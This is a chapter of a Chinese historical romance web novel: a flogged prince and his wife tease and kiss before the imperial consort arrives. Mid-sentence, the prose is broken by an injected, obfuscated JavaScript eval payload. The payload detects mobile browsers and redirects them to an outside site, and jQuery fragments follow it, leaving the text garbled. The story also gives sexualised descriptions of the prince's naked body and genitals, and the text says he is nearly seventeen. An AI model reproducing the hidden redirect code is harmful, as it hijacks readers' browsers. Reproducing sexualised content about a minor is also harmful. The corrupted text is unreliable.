炭盆烧得正旺,偶尔爆出的火星烟花般窜起,便如李绛此刻的心情。
郑鹤衣激动之下太用力,差点将他勒窒息。
难得见她这般热情,实在舍不得推开,只得梗着脖子轻掰她手臂。指腹蹭到腕口时,怕弄疼她,又开始迟疑起来。
听到他喉咙发出怪异的声音,像是要干呕,郑鹤衣才意识到失态,慌忙松开手臂,关切地查问道:“殿下不舒服吗?”
除了床笫之间,没见过她如此体贴。
对习惯了众星捧月的李绛而言,最不缺的就是嘘寒问暖,正因为如此,郑鹤衣的淡漠才让他无比介怀。
此刻她却显出罕见的温柔,让他深感触动,一时也忘了羞耻,低着头嗫喏道:“我挨了三十廷杖,这些天只能趴着养伤,动一下就疼……否则,我早就去看你了。”
原来如此?心底阴霾一扫而空。郑鹤衣说不出的振奋,起身道:“严重吗?快给我瞧瞧!”
李绛却慌了神,紧紧拽住纱衾道:“别……别看,怪腌臜的。”
他长这么大第一次受如此重的刑罚,当日的情景简直像噩梦。
天子龙体抱恙,朝臣们不敢扰他清静,只得告到贵妃座前。贵妃原本就有些草木皆兵,见状更是乱了方寸,唯恐在节骨眼上出事,为了安抚朝臣,只得下狠心从重处罚。
她自省以往太娇惯,才会让李绛无法无天,在与一众心腹秘议后,决定限制李绛的自由——将他迁到天子眼皮底下。
一来,便于监督管教。二来,一旦天子崩,他可迅速赶往紫宸殿,免得节外生枝。而且起居处离九仙门一墙之隔,便于联络北衙禁军控制局势。
北衙隶属于天子,历来由宦官、宗室或心腹将领执掌,算是皇家内卫部队。
而与之相对的南衙十六卫则隶属于尚书省兵部 ,是外卫部队,受朝廷节制,宫城周边的巡逻与安防,以及京畿外围警戒,仪仗与征伐等皆由他们负责。
郑家在南衙的地位举足轻重,这样的局势下,郑鹤衣哪怕真的翻了天,贵妃也不敢自毁长城,随便打杀了她。
无奈之下,只能将怨气和怒火发泄到儿子身上。
可李绛都快十七了,心性早定,岂是挨一顿打就能改了的?不过是加深母子矛盾罢了。
他不可能理解她的良苦用心,只觉得她是为了巩固权力和地位,根本不把自己当人看,甚至一度想自暴自弃,直到想起郑鹤衣的处境,才不得不配合。
**
“换药的时候,御医不也得看吗?”郑鹤衣的声音唤回了他的思绪。
李绛定了定神,硬着头皮道:“你又不是御医。”
“可我认识一些江湖游医,也略通岐黄之术。”她俯下身来,脸颊挨在他肩上蹭了蹭,软语温言道:“殿下松开吧,我看看恢复的如何。你要执意不肯,我手上不敢使劲,也扒不开的。”
钗头流苏垂落在他耳边,拂动时泛起阵阵刺痒,李绛的心不由得软了下来。
哪怕身边有千万人照顾,也比不上父母亲眷的关怀。
可阿耶病成那样,哪敢惊扰?阿娘从今后都是不敢指望的。他和手足之间不甚亲近,也不想让他们看到自己的狼狈样。
郑鹤衣虽说看上去没心没肺,心性又难以捉摸,可到底是他的结发妻子,他们之间本就该坦诚相待。
他也实在被磨得没了脾气,轻叹了一声,悄悄松开手,然后捂住脸,咕哝道:“你看吧,要是吓到了,可别怪我。”
郑鹤衣知道他爱听恭维话,便不吝赞美,他紧绷的肩背果真一点点放松下来。
起初见他谈笑自如,郑鹤衣便没当回事,拉开纱衾时犹带戏谑,直到由臀至胫的青紫僵痕映入眼帘,这才倒抽了口凉气,脸色大变道:“怎的……下如此重手?”
他的皮肤在烛光下是暖玉一般的质地,如今却泛着幽冷的银霜色调。
稀薄的天光漫过青琐窗,倾泻在斑驳的杖痕上,有些触目惊心,却又透着股凄艳的美。郑鹤衣屏住气息,捏住上衫下摆,悄悄撩了起来。
李绛听出她声音里的微颤,一时竟有些欢喜,打趣道:“我们也算同病相怜,荣辱与共。”
唯一不同的,大概是郑鹤衣公开处刑,而他则是私下里受刑,连养伤之所都捂得严严实实,外人根本无从得知。
半晌听不到回音,他不觉起了疑心,半撑起身子回头查看。
就见她满脸奸笑,正提溜着手指想往腿缝里戳。
“郑鹤衣!”李绛恼羞成怒,暴喝了一声。
郑鹤衣倏地缩回手,大笑着跳开了。
李绛浑身燥热,颤着手拉好纱衾时,早疼出了一身汗,咬牙切齿道:“你个下流胚,简直无耻至极。”
郑鹤衣笑的前俯后仰,悄悄踅到他眼前,明眸眨动,语带揶揄道:“以前只见过前面……这还是头回看后面,哈哈哈哈……殿下身上都是骨头,常硌的我生疼,原来肉都在臀上啊……”
细腰堪堪一握,更显得圆臀紧致饱满,被她盯着的时候会悄悄泛粉,趁着伤处,更像捏破了皮的水蜜桃。
“闭嘴,滚出去。”李绛羞愤欲死,嘶哑着声音怒吼,顺便抓起枕头丢了过去。
她轻巧地避开,复又欺身过来,笑得极为轻浮:“从大腿间还能看到卵袋,被我盯着的时候,它就一缩一缩,本来想戳一……”
正得意忘形,冷不防被面目狰狞的他钳住了手腕。
**
郑鹤衣像被捏住七寸的蛇,登时就软了,指尖微颤着趴伏在榻沿,一叠声道:“轻点,轻点,很疼的,我错了,殿下饶命,我再也不敢了……”
李绛原本就臊的慌,听到这嗲声嗲气的求饶,邪火便直往上窜。
使力拉近了些,另一只手捏住她下巴揉搓,低喘着道:“你不是很嚣张吗?”
理智的情况下,她也算是能屈能伸,当即做出楚楚可怜样求饶:“殿下,我错了,我真的错了,以后再也不敢了。”
两人离得太近,李绛不由得有些失神。
巴掌大的脸,能被他一只手轻易控住。
眼睛却不小,漆黑湛亮,顾盼流光。最讨嫌的要数这张圆嘟嘟的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16510760|176267||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
嘴巴,让人又爱又恨。
他朝她呲了呲牙,作势咬了下去。
她吓了一跳,缩着身体求饶,牙关开启才知上当。
他仍攥着她手腕,下巴上的那只手却游移过去,紧紧扣住了她的后脑。
“别……别咬啊……”她的声音含糊不清。
没有预期中尖锐的痛,唇舌被他衔住,随着含/吮的力道愈来愈强,她忍不住发出一声呜咽,似乎没抽了脊梁,几乎软倒在他掌中。
李绛知她也动了情,胸中泛起一阵滚热,不觉松开手腕,改为拥住她肩,辗转深入,奋力汲取着她的气息。
郑鹤衣的手不敢使力,只得虚虚举起,像投降一般,让他愈发兴奋。
迷离之际,她忽然想起那天的春梦。
的确有一只手托在脑后,强硬有力,却又温柔缱绻。不似李绛这般生涩僵硬,好像在生吞肉骨头。
她的唇舌开始发麻,腰肢也开始酸软,几乎要透不过气时,外边响起了急促的脚步声。
“殿下……”刘褚的声音响起的瞬间,郑鹤衣顿时像被蝎子蛰到一般,飞速退出了李绛的怀抱。
两人衣衫不整,气息咻咻,满脸可疑的春色。只一眼,刘褚便明白自己来的不是时候,可事已至此只能装聋作哑,伏跪在地叩头道:“贵妃娘子驾到!”
两人对视了一眼,似乎还有些意犹未尽。
郑鹤衣见他眼底戾气翻涌,唯恐他突然发作,忙出声问道:“到哪里了?”
“已经出了夹道,眼看就过来了。”刘褚听到李绛恼恨的磨牙声,恨不得把头塞到地毯下。
“去准备接驾吧!”郑鹤衣抬起袖子胡乱抹了把嘴角,庆幸今天没化妆,否则口脂早被他啃干净了。
刘褚刚一退下,郑鹤衣的沉着冷静便消失无踪。
她急忙靠过去,惊弓之鸟般挨着他,“怎么办啊,殿下可得替我做主,我……我现在听到贵妃……心都快跳出腔子了。”
李绛却还镇定,瞟她一眼,打趣道:“真的吗?我可不信!”
她挺身向前,轻轻扳过他的脑袋,让他的耳朵贴在胸口,紧张地问道:“是不是?”
简直擂鼓一般,震地他耳畔嗡鸣一片。
可这种时候,脑海中却浮想联翩。
他使劲摇了摇头,才将绮念挥散,哑着嗓子道:“别怕,有我呢。”
他咬紧牙关,犹豫了一下,指指后边道:“你……帮我一下。”
为了方便换药,也为了不至捂到患处,所以纨绔褪到了膝弯。郑鹤衣方才就看到了,见状顿时会意,连忙掀开纱衾,忍痛帮他提了上来。
他自己半撑着身体系腰带,郑鹤衣又抓过一袭长衫,他扶着她的肩,挣扎着跪起身,匆忙套上后,被她搀扶着下榻,一瘸一拐走到了落地罩外。
经过一番忙碌,两人都挣出了一身热汗,拥在一起时,竟有点相濡以沫的意味。
整齐的脚步声越来越近,郑鹤衣开始焦躁不安。李绛侧过头,在她额角亲了一下,挺起胸膛道:“别怕,以后我都和你站在一起。”